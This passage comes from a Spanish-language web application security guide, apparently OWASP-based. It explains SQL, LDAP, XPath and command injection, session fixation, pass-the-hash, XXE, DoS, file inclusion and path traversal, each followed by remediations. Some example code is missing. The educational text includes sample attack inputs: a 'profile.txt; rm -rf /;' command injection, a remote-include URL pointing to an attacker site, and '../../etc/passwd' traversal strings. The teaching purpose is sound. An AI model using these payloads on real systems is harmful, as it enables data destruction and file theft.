de las conversaciones observadas, y la conversación base seleccionada. La
distancia de edición es “el número de ediciones requerida para transformar un
documento en otro”. Por razones de desempeño, las ediciones son calculadas
utilizando tokens de palabras, en lugar de byte por byte.
SOAP: Es un plugin que interpreta WSDL; y presenta las diversas funciones y
parámetros requeridos, permitiendo ser editados antes de ser enviados al servidor.
Anotar que este plugin ha sido desaprobado, y será removido en el futuro. SOAPUI
va más allá de lo que WebScarab puede hacer o hará, y es una herramienta gratuita.
Entrenamiento
Aung Khant (YGN Ethical Hacker Group, Myanmar) ha creado una serie de videos sobre
WebScarab, los cuales pueden ser encontrados en el siguiente enlace:
http://yehg.net/lab/pr0js/training/webscarab.php
OWASP Zed Attack Proxy: Es una herramienta integrada para realizar pruebas de
penetración, la cual permite encontrar vulnerabilidades en las aplicaciones Web.
Ha sido diseñada para ser utilizada por personas con diversa experiencia en seguridad,
siendo también ideal para desarrolladores y personas quienes realizan pruebas
funcionales, y nuevos en temas de pruebas de penetración. ZAP proporciona escáneres
automáticos como también un conjunto de herramientas para encontrar de manera
manual vulnerabilidades en seguridad.
Características
Proxy de Interceptación.
Escáner Automático.
Escáner Pasivo.
Navegación Forzada.
Fuzzer.
Puntos de Interrupción.
Spider.
Add-ons.
Otras Herramientas:
WebGoat: Es sitio Web vulnerable Java y .Net con lecciones para programadores.
OWASP ASVS: Es “La lista” para aplicar al proceso de desarrollo. Son controles
técnicos de seguridad.
Securre Coding Practices Quick Reference Guide: Es una checklist para integrar
en el SDLC con prácticas y requerimientos de seguridad.
SQL Injection
Se dice que existe o se produjo una inyección SQL cuando, de alguna manera, se inserta
o "inyecta" código SQL invasor dentro del código SQL programado, a fin de alterar el
funcionamiento normal del programa y lograr así que se ejecute la porción de código
"invasor" incrustado, en la base de datos.
Este tipo de intrusión normalmente es de carácter malicioso, dañino o espía, por tanto,
es un problema de seguridad informática, y debe ser tomado en cuenta por el
programador de la aplicación para poder prevenirlo. Un programa elaborado con
descuido, displicencia o con ignorancia del problema, podrá resultar ser vulnerable, y la
seguridad del sistema (base de datos) podrá quedar eventualmente comprometida.
Por ejemplo, asumiendo que el siguiente código reside en una aplicación Web y que
existe un parámetro "nombreUsuario" que contiene el nombre de usuario a consultar,
una inyección SQL se podría provocar de la siguiente forma:
En resumen, cualquier dato de la base de datos puede quedar disponible para ser leído
o modificado por un usuario malintencionado.
Nótese por qué se llama "Inyección" SQL. Si se observa el código malicioso, de color
rojo, se notará que está insertado en el medio del código bueno, el verde. Así, el código
rojo ha sido "inyectado" dentro del verde.
La inyección SQL es fácil de evitar, por parte del programador, en la mayoría de los
lenguajes de programación que permiten desarrollar aplicaciones Web.
Ataque a ciegas por inyección SQL, en inglés, Blind SQL injection, es una técnica de
ataque que utiliza la inyección SQL. Se evidencia cuando en una página Web, por una
falla de seguridad, no se muestran mensajes de error al no producirse resultados
correctos ante una consulta a la base de datos, mostrándose siempre el mismo
contenido (es decir, solo hay respuesta si el resultado es correcto).
Sentencias condicionales con el tipo “Or 1=1″ o “having 1=1″ ofrecen respuestas
siempre correctas (true o verdadero) por lo cual suelen ser usadas por los
programadores como formas de comprobación. El problema para la seguridad de la
página radica en que esta técnica es utilizada en combinación con diccionarios o fuerza
bruta para la búsqueda, carácter por carácter, de una contraseña, un nombre de usuario,
un número de teléfono o cualquier otra información que albergue la base de datos
atacada; para ello se utiliza código SQL específico que “va probando” cada carácter
consiguiendo un resultado positivo acumulable cuando hay una coincidencia. De esta
manera se puede saber, por ejemplo, que una contraseña comienza por “F…”, luego
continúa con “.i…”, y luego “..r…”, etc. (acumula Fir…), hasta dar con la palabra
completa.
Existen programas que automatizan este proceso de “tanteos” letra por letra en el
resultado de la consulta SQL, que un intruso podría enviar inyectado.
Ejemplos:
Un atacante puede verificar si una solicitud enviada regresó verdadero o falso de varias
formas:
Basado en el contenido
El uso de una simple página, que muestra un artículo con ID dado como parámetro, el
atacante puede realizar un par de pruebas sencillas para determinar si la página es
vulnerable a ataques de inyección SQL.
URL de ejemplo:
http://newspaper.com/items.php?id=2
Una vez que esto ha sido verificado, la única limitación son los privilegios puesto por el
administrador de la BBDD, diferente sintaxis SQL y la imaginación del atacante.
Basada en tiempo
Este tipo de inyección SQL ciega, se basa en pausar la BBDD por un tiempo
especificado, para que posteriormente devuelva los resultados, indicando que la
consulta triunfo. Usando este método, un atacante enumera cada letra de la porción de
datos que desea leer usando la siguiente lógica:
Si la primera letra del nombre de la primera BBDD es una “A”, esperar 10
segundos.
Si la primera letra del nombre de la primera BBDD es una “B”, esperar 10
segundos, etc.
Así con cada letra, si la respuesta tarda diez segundos es que es la letra por la que
preguntamos si no es así continuamos con la siguiente.
A veces, las aplicaciones Web no toman las precauciones adecuadas al procesar las
entradas del usuario y las usan en el servidor sin desinfectarlas adecuadamente. Y, los
atacantes se aprovechan de eso para perpetrar ataques. El ataque de inyección LDAP
es uno de esos ataques, en el cual los atacantes explotan aplicaciones Web que
construyen declaraciones LDAP utilizando entradas de usuario inseguras sin tomar las
precauciones adecuadas.
Qué es LDAP
Pero piense en una gran organización donde miles de empleados están presentes y
queremos buscar una dirección de correo electrónico de alguien a quien nunca le
enviamos un correo electrónico. Este problema se puede resolver de manera eficiente
usando LDAP o el Protocolo ligero de acceso a directorios.
En LDAP, se mantiene un servidor LDAP y un cliente LDAP, puede usar las API LDAP
para contactar al servidor LDAP y acceder a la información. Por ejemplo, si queremos
buscar la dirección de correo electrónico de una persona llamada 'John' que vive en San
Francisco, escribiríamos la información en el programa LDAP Client. El cliente LDAP se
pondrá en contacto con el servidor LDAP utilizando las API LDAP y se recuperará la
información.
LDAP se utiliza para buscar no solo información de contacto, sino también certificado
de cifrado, punteros a impresoras y otros servicios en la red como el inicio de sesión
único, donde se utiliza una sola contraseña para iniciar sesión en todos los servicios de
la organización.
Supongamos que una aplicación Web de una empresa autentica a un empleado con su
nombre de usuario y contraseña y accede a aplicaciones sensibles.
Ahora, la página de inicio de sesión normalmente tendrá dos casillas, para nombre de
usuario y contraseña. Y, tomando las aportaciones de un empleado, autenticará al
empleado.
Supongamos que la aplicación Web crea una cadena de consulta LDAP a partir de las
entradas del usuario y realiza la consulta LDAP correspondiente al servidor para obtener
una respuesta. Y supongamos que la aplicación Web es vulnerable a los ataques de
inyección LDAP, ya que no desinfecta las entradas del usuario correctamente antes de
hacer la cadena de consulta LDAP.
En este punto, supongamos que un atacante le da 'johns' (&) 'como nombre de usuario
y cualquier valor aleatorio como contraseña.
Esta cadena de consulta se enviaría al servidor LDAP, pero el servidor solo procesaría
la primera parte de la consulta:
Una aplicación Web se vuelve vulnerable al ataque cuando no desinfecta los datos
proporcionados por el usuario de manera adecuada y no los usa de forma segura para
acceder a otros datos del servidor. XPath Injection Attack es uno de esos ataques.
Muchas aplicaciones Web se vuelven vulnerables a XPath Injection cuando usan datos
suministrados por el usuario de forma insegura para construir una consulta XPath para
datos XML.
¿Qué es XPath?
Muchas aplicaciones Web utilizan XML o EXtensible Markup Language para almacenar
y transportar datos en formato legible por humanos y legible por máquina. A menudo se
usa para separar los datos de la presentación.
Para dar un ejemplo, un servidor Web puede almacenar datos en archivos XML
separados y escribir un pequeño código JavaScript para leer los archivos XML y
actualizar los contenidos de las páginas HTML.
Y la siguiente consulta de XPath seleccionará el título del libro del documento XML:
Supongamos que tenemos un sistema de autenticación en una página Web que toma
entradas del nombre de usuario y la contraseña del usuario y utiliza XPath para buscar
el siguiente documento XML y descubrir el usuario adecuado.
A veces, una aplicación Web toma la entrada del usuario y ejecuta los comandos
correspondientes en el servidor y muestra el resultado. Un ataque de inyección de Shell
o ataque de inyección de comando es un ataque en el que un atacante aprovecha
vulnerabilidades de una aplicación Web y ejecuta un comando arbitrario en el servidor
para actividades maliciosas.
Supongamos que una aplicación Web toma el nombre de un archivo como entrada de
un usuario y lo muestra. Y, la aplicación Web lo ha implementado con la siguiente pieza
de código PHP:
Pero, supongamos que un atacante da una entrada 'profile.txt; ls; '. Enumerará todos los
archivos en el directorio donde se guarda profile.txt.
O peor aún, el atacante puede dar entrada 'profile.txt; rm -rf /; "y esto eliminará todos los
archivos en el directorio raíz.
Los siguientes son los operadores más comunes utilizados para explotar esta
vulnerabilidad:
<comando 1> | <comando 2> - para establecer la salida del comando 1 a algún
comando de comando malicioso 2.
comando 1> nombre de archivo - para sobrescribir el nombre del archivo con la
salida del comando 1.
2.2.5. Remediaciones
Bin2hex () y unhex () se pueden usar para convertir los parámetros a / desde valores
hexadecimales. La ventaja de esto es que la salida de la función unhex () se
devuelve como una cadena y no se interpreta.
LDAP Injection:
Antes de que se devuelva una salida al usuario, se debe verificar que contenga solo
la información específica. La cantidad de datos devueltos por una consulta puede
ser restringida.
LDAP debe configurarse con cuidado, para que exista un control de acceso
adecuado en LDAP directory. El nivel de acceso utilizado por la aplicación Web debe
ser mínimo.
XPath Injection:
El uso de consultas XPath precompiladas siempre es bueno. Con esto, las entradas
del usuario se escapan correctamente sin perder ningún carácter que debería
haberse escapado.
Command Injection:
Con cuidado, desinfecte todos los datos ingresados por el usuario en la aplicación
Web.
Elimine ciertos caracteres como ';', '&', '|' etc. de los datos de entrada del usuario.
Ejemplo 1:
El atacante ahora usa algo de ingeniería social y envía a la víctima un enlace que
contiene la clave de sesión predefinida. Él convence a la víctima para que haga clic
en el enlace, por ejemplo, diciendo que es un enlace de algunas características
nuevas en el banco.
Ejemplo 2:
Tenga en cuenta que aquí el atacante está utilizando una identificación de sesión
generada por el servidor en lugar de una aleatoria. Por lo tanto, incluso si un servidor
acepta solo claves de sesión generadas por el servidor, no está a salvo de los
ataques de fijación de sesión.
Ejemplo 3:
Pero esta clave de sesión es conocida por el atacante. Entonces, el atacante inicia
sesión en el servidor y se hace pasar por la víctima.
2.3.2. Pass-the-hash
LM Hash o LanMan Hash o Lan Manager Hash es una función hash comprometida que
alguna vez fue la función hash primaria para Microsoft Lan Manager o la versión de
Microsoft Windows antes de NT. El soporte para este protocolo continuó en versiones
posteriores de Windows para compatibilidad con versiones anteriores, pero Microsoft
recomendó que los administradores desactivaran el protocolo. En Windows Vista, el
protocolo está deshabilitado de forma predeterminada, pero en algunas
implementaciones CIFS que no sean de Microsoft, se siguió utilizando. NTLM o NT Lan
Manager es el sucesor de Lan Manager. NTLM se implementa ampliamente incluso en
sistemas nuevos, para mantener la compatibilidad con sistemas más antiguos. Pero,
Microsoft ya no recomienda NTLM en las aplicaciones.
Cada valor de 7 bytes se usa para generar una clave DES de 64 bits. Aquí, se inserta
un bit nulo después de cada 7 bits, generando así 64 bits. Los bits nulos se descartan
más tarde. Al igual que estas dos claves DES se generan a partir de dos mitades de
7 bytes.
Dos claves DES generadas de este modo se utilizan para encriptar una clave
constante " KGS! @ # $%", Formando así dos textos cifrados de 8 bytes.
Pero, ¿no necesita el atacante los valores hash de las contraseñas de los usuarios para
hackear las cuentas? ¿Cómo realizan los atacantes el ataque Pass The Hash?
Antes de realizar dichos ataques, el atacante recopila los hash de contraseñas de las
cuentas de usuario. Hay varios métodos que un atacante normalmente usa para obtener
los hashes de contraseña:
El atacante a veces vuelca la base de datos de cuentas de los usuarios locales o SAM
para obtener hashes de contraseñas de usuarios locales y luego usarlos con hashes de
contraseñas de cuentas administrativas locales para hackear múltiples sistemas.
Session Fixation
La víctima hace clic en el enlace y aparece una pantalla de inicio de sesión. Cuando
inicia sesión en el servidor, el servidor asigna esa identificación de sesión a la víctima
(debido a vulnerabilidades en la aplicación Web)
Session Sidejacking
Cross-Site Scripting
Uso de Malware
Por ejemplo:
2.3.4. Remediaciones
Session Fixation
Las aplicaciones Web deberían cambiar la clave de sesión una vez que el usuario
inicie sesión. Esto limitará a los atacantes incluso si logran arreglar la clave de sesión
de los usuarios anónimos.
Las aplicaciones Web pueden cambiar la cookie con todas y cada una de las
solicitudes realizadas por la computadora del usuario. Esto limitará al atacante en
gran medida, ya que puede hacer poco con la fijación de una sola clave de sesión.
Las aplicaciones Web no deben aceptar ningún número aleatorio como clave de
sesión. En su lugar, deberían aceptar solo claves de sesión generadas por el
servidor.
Los usuarios siempre deben desconectarse de las aplicaciones Web tan pronto
como terminen de usarlas.
Las aplicaciones Web deben caducar las claves de sesión antiguas. Esto reforzará
la seguridad.
Usar más de uno de los métodos indicados anteriormente siempre reforzará mejor
la seguridad.
Por lo tanto, tenga cuidado con varias vulnerabilidades para que pueda proteger su
información de una mejor manera y mantenerse a salvo, mantenerse protegido.
Pass-the-hash
En realidad, no hay una defensa única contra este ataque. Pero, hay algunas
precauciones que se pueden tomar.
Session Hijacking
Las aplicaciones Web deben usar SSL/TLS para transferir datos confidenciales. Esto
cifrará los datos, dificultando que el atacante robe la cookie de sesión o cualquier
otra información.
Las aplicaciones Web deben usar números aleatorios muy largos como clave de
sesión, de modo que resulta difícil para el atacante adivinar la clave de sesión y
explotarla.
Las aplicaciones Web pueden cambiar la cookie con todas y cada una de las
solicitudes realizadas por la computadora del usuario. Esto limitará al atacante en
gran medida.
Los usuarios siempre deben desconectarse de las aplicaciones Web, tan pronto
como terminen de usarlas.
TLS también brinda dos beneficios adicionales que comúnmente se pasan por alto;
garantías de integridad y prevención de reproducción. Una secuencia de comunicación
TLS contiene controles incorporados para evitar la manipulación de cualquier parte de
los datos cifrados. Además, los controles también están incorporados para evitar que
una secuencia capturada de datos TLS se reproduzca en un momento posterior.
Cabe señalar que TLS proporciona las garantías anteriores a los datos durante la
transmisión. TLS no ofrece ninguno de estos beneficios de seguridad a los datos que
están en reposo. Por lo tanto, se deben agregar los controles de seguridad adecuados
para proteger los datos mientras está en reposo dentro de la aplicación o dentro de los
almacenes de datos.
Requerimientos básicos
Los requisitos básicos para usar TLS son: acceso a una infraestructura de clave pública
(PKI) para obtener certificados, acceso a un directorio o un respondedor de protocolo
de estado de certificados en línea (OCSP) para verificar el estado de revocación del
certificado y acuerdo / capacidad para admite una configuración mínima de versiones
de protocolo y opciones de protocolo para cada versión.
Los términos, Secure Socket Layer (SSL) y Transport Layer Security (TLS) a menudo
se usan indistintamente. De hecho, SSL v3.1 es equivalente a TLS v1.0. Sin embargo,
las versiones diferentes de SSL y TLS son compatibles con los navegadores Web
modernos y con la mayoría de los frameworks y plataformas Web modernos. A los fines
de esta hoja de referencia nos referiremos a la tecnología genéricamente como TLS.
Las recomendaciones con respecto al uso de los protocolos SSL y TLS, así como el
soporte de navegador para TLS, se pueden encontrar en la regla a continuación titulada
"Solo soporte de protocolos fuertes".
Proteger datos delicados con criptografía se ha convertido una parte clave de la mayoría
de las aplicaciones Web. Simplemente no cifrar datos delicados está muy extendido.
Aplicaciones que sí cifran, frecuentemente contienen criptografía mal diseñada, ya sea
usando sistemas de cifrado no apropiados o cometiendo errores serios al usar
algoritmos de cifrado sólido. Estos defectos pueden conducir a la revelación de datos
delicados y violaciones de cumplimiento de estándares.
Entornos Afectados
Vulnerabilidad
Verificando la seguridad
2.4.3. Remediaciones
Todas las redes, tanto externas como internas, deben utilizar TLS o un mecanismo de
seguridad de capa de transporte equivalente para todas las comunicaciones. No es
suficiente afirmar que el acceso a la red interna está "restringido a los empleados".
Numerosos compromisos de datos recientes han demostrado que los atacantes pueden
violar la red interna. En estos ataques, los rastreadores se han instalado para acceder
a los datos confidenciales sin encriptar enviados en la red interna.
La página de inicio de sesión y todas las páginas autenticadas posteriores deben tener
acceso exclusivo a través de TLS. La página de inicio de sesión inicial, denominada
"página de inicio de sesión", se debe servir a través de TLS. El hecho de no utilizar TLS
para la página de inicio de sesión le permite a un atacante modificar la acción de
formulario de inicio de sesión, lo que hace que las credenciales del usuario se publiquen
en una ubicación arbitraria. El hecho de no utilizar TLS para las páginas autenticadas
después del inicio de sesión permite a un atacante ver el ID de la sesión no cifrada y
comprometer la sesión autenticada del usuario.
Incluso el marketing u otros sitios Web de baja seguridad aún requieren TLS. La falta de
TLS conduce a una falta de integridad que permite a los atacantes modificar el contenido
en tránsito. Además, los sitios que no proporcionan TLS están marcados más abajo en
el pagerank para SEO.
Todas las páginas que están disponibles a través de TLS no deben estar disponibles en
una conexión que no sea TLS. Un usuario puede marcar inadvertidamente o escribir
manualmente una URL en una página HTTP (por ejemplo,
http://example.com/myaccount) dentro de la parte autenticada de la aplicación. Si la
solicitud procesa esta solicitud, la respuesta y los datos confidenciales se devolverán al
usuario a través del texto claro HTTP.
Una página que está disponible a través de TLS debe estar compuesta completamente
por contenido que se transmite a través de TLS. La página no debe contener ningún
contenido que se transmita a través de HTTP no encriptado. Esto incluye contenido de
sitios de terceros no relacionados.
Un atacante podría interceptar cualquiera de los datos transmitidos a través del HTTP
no cifrado e inyectar contenido malicioso en la página del usuario. Este contenido
malicioso se incluiría en la página, incluso si la página general se sirve a través de TLS.
Además, un atacante podría robar la cookie de sesión del usuario que se transmite con
cualquier solicitud que no sea TLS. Esto es posible si la bandera 'segura' de la cookie
no está configurada. Ver la regla "Usar" Secure "Cookie Flag".
El indicador "Seguro" debe establecerse para todas las cookies de usuario. La falta de
uso de la marca "segura" permite a un atacante acceder a la cookie de sesión
engañando al navegador del usuario para que envíe una solicitud a una página no
encriptada en el sitio. Este ataque es posible incluso si el servidor no está configurado
para ofrecer contenido HTTP, ya que el atacante está supervisando las solicitudes y no
le importa si el servidor responde con un 404 o no responde en absoluto.
1. Toda la URL se almacena en caché dentro del historial del navegador del usuario
local. Esto puede exponer datos confidenciales a cualquier otro usuario de la
estación de trabajo.
2. La URL completa queda expuesta si el usuario hace clic en un enlace a otro sitio
HTTPS. Esto puede exponer datos confidenciales dentro del campo de referencia al
sitio de terceros. Esta exposición ocurre en la mayoría de los navegadores y solo
ocurrirá en las transiciones entre dos sitios TLS.
El protocolo TLS proporciona confidencialidad solo para los datos en tránsito, pero no
ayuda con posibles problemas de fuga de datos en el cliente o proxies intermediarios.
Como resultado, con frecuencia es prudente ordenar a estos nodos que no almacenen
en caché o que conserven datos confidenciales. Una opción es agregar encabezados
anticaching a las respuestas HTTP relevantes (por ejemplo, "Cache-Control: no-cache,
no-store" y "Expires: 0" para la cobertura de muchos navegadores modernos a partir de
2013). Para la compatibilidad con HTTP / 1.0 (es decir, cuando las aplicaciones de
usuario son realmente antiguas o el servidor Web funciona alrededor de las
peculiaridades forzando HTTP / 1.0) la respuesta también debe incluir el encabezado
"Pragma: no-cache".
El aspecto más importante es asegurar que todo lo que debería ser cifrado sea en
realidad cifrado. Entonces debe asegurarse que la criptografía se aplica correctamente.
Como hay tantas maneras de usar la criptografía incorrectamente, las siguientes
recomendaciones deberían ser tomadas como parte de su régimen de pruebas para
ayudar a garantizar la manipulación segura de materiales criptográficos.
Genere las llaves fuera de línea y almacene llaves privadas con extremo
cuidado. Nunca transmita llaves privadas sobre canales inseguros.
Se dice que un documento XML está bien formado (well formed) cuando cumple con la
estructura definida por el estándar XML: que incluya la especificación de versión, que
tenga un único nodo raíz, que cada tag esté correctamente cerrado, etc. Además, se
dice que un documento XML es válido (valid) cuando además de estar bien formado
cumple con las reglas definidas por el DTD (u otro mecanismo de validación), ejemplo:
El documento anterior es un XML bien formado, pero para que sea válido debemos
especificar un DTD contra el cual se validará la estructura del XML. El DTD sería algo
como esto:
<!DOCTYPE root [
<!ELEMENT root (alumno)>
<!ELEMENT alumno (nombre, apellido, codigo)>
<!ELEMENT nombre (#PCDATA)>
<!ELEMENT apellido (#PCDATA)>
<!ELEMENT codigo (#PCDATA)>
]>
Con este DTD indicamos que el nodo raíz es "root", que el nodo "root" tiene un subnodo
"alumno", que el nodo "alumno" tiene subnodos "nombre", "apellido" y "codigo" y
finalmente que los nodos "nombre", "apellido" y "codigo" contienen datos (es decir no
tienen subnodos).
Entidades XML
Los DTD también nos permiten definir entidades XML (XML Entity). Las entidades XML
son "alias" que se substituyen por otro valor previamente definido cada vez que
aparecen en el documento XML. Para comprenderlo mejor piensen en la codificación de
ciertos caracteres en HTML:
CARACTER CODIFICACIÓN
© ©
< <
> >
& &
De forma similar, el DTD nos permite definir nuestras propias entidades y usarlas en el
documento XML. Por ejemplo:
Las entidades pueden ser de dos tipos: internas o externas. Las entidades internas son
como la que vimos en el ejemplo anterior, su valor se define en el mismo documento
XML. Por otra parte, las entidades externas son aquellas cuyo valor se encuentra en un
recurso externo (es decir otro archivo). En este caso la definición de la entidad incluirá
una URL o URI con la referencia al recurso externo. Veamos:
<html>
<body>
<h1>Procesar XML</h1>
<form action="" method="post" enctype="multipart/form-data">
<label for="file">Archivo XML:</label>
<input type="file" name="file" id="file">
<input type="submit" name="submit" value="Enviar">
</form>
<h1>Resultados</h1>
<?php
} else {
echo "<h3>No ha enviado ningún archivo XML</h3>";
}
?>
</body>
</html>
En el XML anterior se define una entidad externa "xxe" que hace referencia al archivo
"/etc/passwd". Luego insertamos la entidad como valor de la etiqueta "data" y si
enviamos esto como entrada al programa de ejemplo ya pueden imaginar lo que
sucederá.
Los ataques de negación de servicios (Denial of Service – DOS) consisten en hacer que
una maquina o red no esté disponible para los usuarios que usan dicho servicio.
Este tipo de ataque por lo general tiene por objetivo a servidores Web de alto perfil como
bancos, portales de pagos por internet o sitios Web, páginas Web comerciales (en el
mundo de los negocios suelen ocurrir amenazas de ataques DOS) o incluso
gubernamentales. Esta técnica se ha utilizado también en videojuegos en línea.
La forma más común de llevar a cabo este ataque es saturar la máquina objetivo con
una cantidad enorme de peticiones externas que le impidan responder al tráfico de red
verdadero, o que responda tan lentamente para que se muestre como no disponible.
Identificar vulnerabilidad
Explotar la vulnerabilidad
SYN flood
Es una variante de un ataque DoS en el que el attcker envía una serie de peticiones
SYN al sistema objetivo.
Típicamente cuando un cliente intenta iniciar una conexión TCP con un servidor, el
cliente y el servidor intercambian mensajes de la siguiente forma: Primero el cliente
envía una petición de conexión enviando un mensaje SYN (syncronize) al server, el
servidor reconoce la petición enviando un mensaje SYN-ACK al cliente y este último
responde con un mensaje ACK y la conexión está establecida. A esto se le llama un
three-way-handshake y es el fundamento de las conexiones que utilizan el protocolo
TCP.
Este ataque funciona al no responder al servidor con el código ACK que espera. El
cliente malicioso puede simplemente no enviar el ACK esperado o colocar una IP
engañosa en el mensaje SYN causando que el servidor envíe el SYN-ACK a una IP
falsa que no enviará el ACK (porque en primer lugar nunca envió el SYN).
También conocido como plashing, es un ataque que daña un sistema a tal punto que
requiere reparación o reinstalación de hardware. Este ataque aprovecha las fallas de
seguridad que permiten la administración de las interfaces de configuración del
hardware de la víctima, como routers, impresoras o hardware de red. El attacker usa
esas vulnerabilidades para remplazar el firmware del dispositivo con uno modificado,
corrupto o defectuoso (flashing). De ese modo provoca un “brick” en el dispositivo,
dejándolo inutilizado para cumplir su función.
Esta estrategia combinada con el hecho de que por defecto apache acepta peticiones
de hasta 2 GB de tamaño, hacen que este ataque sea particularmente poderoso.
Además, los ataques POST HTTP son difícil de diferenciar del tráfico de conexiones
legítimas. OWASP ofrece una herramienta para probar la seguridad de los servidores
ante este tipo de ataque.
Creamos un XML con una entidad externa que haga referencia a "/dev/zero". Esto
provocará que el parser se quede pegado leyendo /dev/zero mientras consume la
memoria hasta agotarla.
Esto puede llevar a algo como la salida de los contenidos del archivo, pero dependiendo
de la gravedad, también puede conducir a:
Ejecución de código en el servidor Web.
Ejecución de código en el lado del cliente, como JavaScript, que puede conducir a
otros ataques, como cross-site scripting (XSS).
Denegación de servicio (DoS).
Divulgación de información sensible.
Cómo probar
Dado que RFI ocurre cuando las rutas pasadas a las declaraciones "incluir" no se
desinfectan adecuadamente, en un enfoque de prueba de blackbox, debemos buscar
scripts que tomen nombres de archivo como parámetros. Considere el siguiente ejemplo
de PHP:
http: //vulnerable_host/vuln_page.php?file=http://atacante_site/malicous_page
En este caso, el archivo remoto se incluirá y cualquier código que contenga será
ejecutado por el servidor.
Esto puede llevar a algo como la salida de los contenidos del archivo, pero dependiendo
de la gravedad, también puede conducir a:
Ejecución de código en el servidor Web.
Ejecución de código en el lado del cliente, como JavaScript, que puede conducir a
otros ataques, como cross-site scripting (XSS).
Denegación de servicio (DoS).
Divulgación de información sensible.
Cómo probar
Como LFI ocurre cuando las rutas pasadas a las declaraciones "incluir" no se
desinfectan adecuadamente, en un enfoque de prueba de blackbox, debemos buscar
scripts que tomen nombres de archivo como parámetros.
http: //vulnerable_host/preview.php?file=example.html
Este parece ser un lugar perfecto para probar para LFI. Si un atacante tiene la suficiente
suerte, y en lugar de seleccionar la página apropiada de la matriz por su nombre, la
secuencia de comandos incluye directamente el parámetro de entrada, es posible incluir
archivos arbitrarios en el servidor.
Muy a menudo, incluso cuando existe tal vulnerabilidad, su explotación es un poco más
compleja. Considere la siguiente pieza de código:
<? php "include /". include ($ _ GET ['filename']. ". php"); ?>
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00
http://vulnerable_host/preview.php?file=../../../../etc/passwd%00jpg
2.5.4. Remediaciones
Firewalls
Los firewalls se pueden configurar para que incluyan una serie de reglas simples que
aceptan o bloquean protocolos, puertos o direcciones IP. En el caso de un ataque simple
que procede de un número pequeño de direcciones IP, es posible colocar una regla
simple para eliminar todo el tráfico de entrada que proceda de esas direcciones IP.
Switches
La mayoría de switches tienen algún tipo de límite de tráfico, control ACL, retardo y
balanceo de tráfico o inspecciones profunda de paquetes. Estos mecanismos funcionan
muy bien si el ataque pretende atravesar el hardware que inspecciona el tráfico.
Por ejemplo, un ataque SYN puede evitarse utilizando un retardo de tráfico, o ataques
originados desde direcciones oscuras pueden ser evitados haciendo uso de filtros bogon
(Direcciones IP en los rangos 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, y
169.254.0.0/16, las cuales están reservadas para direcciones locales y no tienen un uso
legítimo en internet).
Cabe mencionar que los routers tienen un comportamiento similar a los switches por lo
que tienen vulnerabilidades parecidas por lo que pueden configurarse de forma similar
para mitigarlas y proteger las maquinas subordinas a dicho router. El IOS Cisco tiene
características para evitar el flooding.
Hardware inteligente
Es posible utilizar hardware inteligente en la red antes de que el tráfico alcance los
servidores. Puede usarse en conjunto con routers y switches. El objetivo de este
hardware es analizar los paquetes de datos que entran al sistema e identificarlos como
prioritarios, regulares o peligrosos.
Un ataque transversal de ruta permite a los atacantes acceder a directorios a los que no
deben acceder, como archivos de configuración o cualquier otro archivo / directorio que
pueda contener datos del servidor no destinados al público.
http://www.mywebsite.com
Usando la misma técnica ../, un atacante puede escapar del directorio que contiene los
PDF y acceder a cualquier cosa que desee en el sistema.
http://www.mywebsite.com/?template= ../../../../../../../../../etc/passwd
Como probar
En Linux, use el comando ls para verificar los permisos de los archivos. También se
puede utilizar el comando “namei” para enumerar recursivamente los permisos de los
archivos.
$ namei -l /home/user
El servidor CDN más cercano resuelve las peticiones de los usuarios mediante el
almacenamiento en caché del contenido, lo que ahorra tiempo y reduce el tráfico de la
red principal.
Con el fin de ofrecer a sus clientes las ventajas del almacenamiento en caché HTTP y
la transmisión en flujo de contenido multimedia de alto rendimiento, un mayor número
de operadores de red están construyendo e implantando sus propias CDN. Esta
capacidad les permite generar nuevas fuentes de ingresos a partir de una variedad más
amplia de productos y servicios para suscriptores, acompañada de servicios de venta a
proveedores de contenido externos.
2.6.4. Remediaciones
Path Transversal
Procesar solicitudes de URI que no den lugar a una solicitud de archivo, por ejemplo,
ejecutar un enlace en el código de usuario, antes de continuar a continuación.
Cuando se debe realizar una solicitud de URI para un archivo / directorio, cree una
ruta completa al archivo / directorio, si existe, y normalice todos los caracteres (por
ejemplo, %20 convertido a espacios).
Si bien muchas veces los servidores instalados por default vienen con la característica
de permitir el listado de directorios, en ocasiones este puede convertirse en un problema
de seguridad, por lo que sería conveniente restringir esa opción.
Escenario # 1:
Escenario # 2:
Ventajas
Fácil de implementar.
Bajo costo (no requiere hardware sofisticado).
Fácil de usar (a menos que lo olvidemos).
Desventajas
Fácil de adivinar.
Pueden ser infiltrados o utilizar fuerza bruta.
Los usuarios tienden a olvidar su contraseña o incluirlos en notas adhesivas
publicado en su monitor o debajo del teclado.
Longitud de la contraseña
La longitud mínima: Las contraseñas deben tener por lo menos ocho (8)
caracteres. La combinación de esta longitud con la complejidad hace que una
contraseña sea difícil de adivinar.
Complejidad de la contraseña
2.7.3. Backups
Es fácil olvidar esos archivos y esto puede suponer una grave amenaza para la
seguridad de la aplicación. Eso sucede porque las copias de seguridad pueden
generarse con extensiones de archivo diferentes a las de los archivos originales. Un
archivo .tar, .zip o .gz que generamos (y olvidamos...) obviamente tiene una extensión
diferente, y lo mismo ocurre con las copias automáticas creadas por muchos editores
(por ejemplo, emacs genera una copia de respaldo llamada archivo ~ cuando archivo
de edición). Hacer una copia a mano puede producir el mismo efecto (piense en copiar
el archivo a file.old). El sistema de archivos subyacente en el que se encuentra la
aplicación podría hacer "instantáneas" de su aplicación en diferentes momentos sin su
conocimiento, que también puede ser accesible a través de la Web, presentando un
estilo similar pero diferente de "copia de seguridad" como amenaza para su aplicación.
Como resultado, estas actividades generan archivos que no son necesarios para la
aplicación y el servidor Web puede manejarlos de manera diferente que el archivo
original. Por ejemplo, si hacemos una copia de login.asp llamada login.asp.old, estamos
permitiendo que los usuarios descarguen el código fuente de login.asp. Esto se debe a
que login.asp.old normalmente se servirá como texto o sin formato, en lugar de
ejecutarse debido a su extensión. En otras palabras, el acceso a login.asp causa la
ejecución del código del lado del servidor de login.asp, mientras que el acceso a
login.asp.old hace que el contenido de login.asp.old (que es, de nuevo, el código del
lado del servidor) ser claramente devuelto al usuario y mostrarse en el navegador. Esto
puede plantear riesgos de seguridad, ya que la información sensible puede ser revelada.
En general, exponer el código del lado del servidor es una mala idea. No solo está
exponiendo innecesariamente la lógica empresarial, sino que puede estar revelando, sin
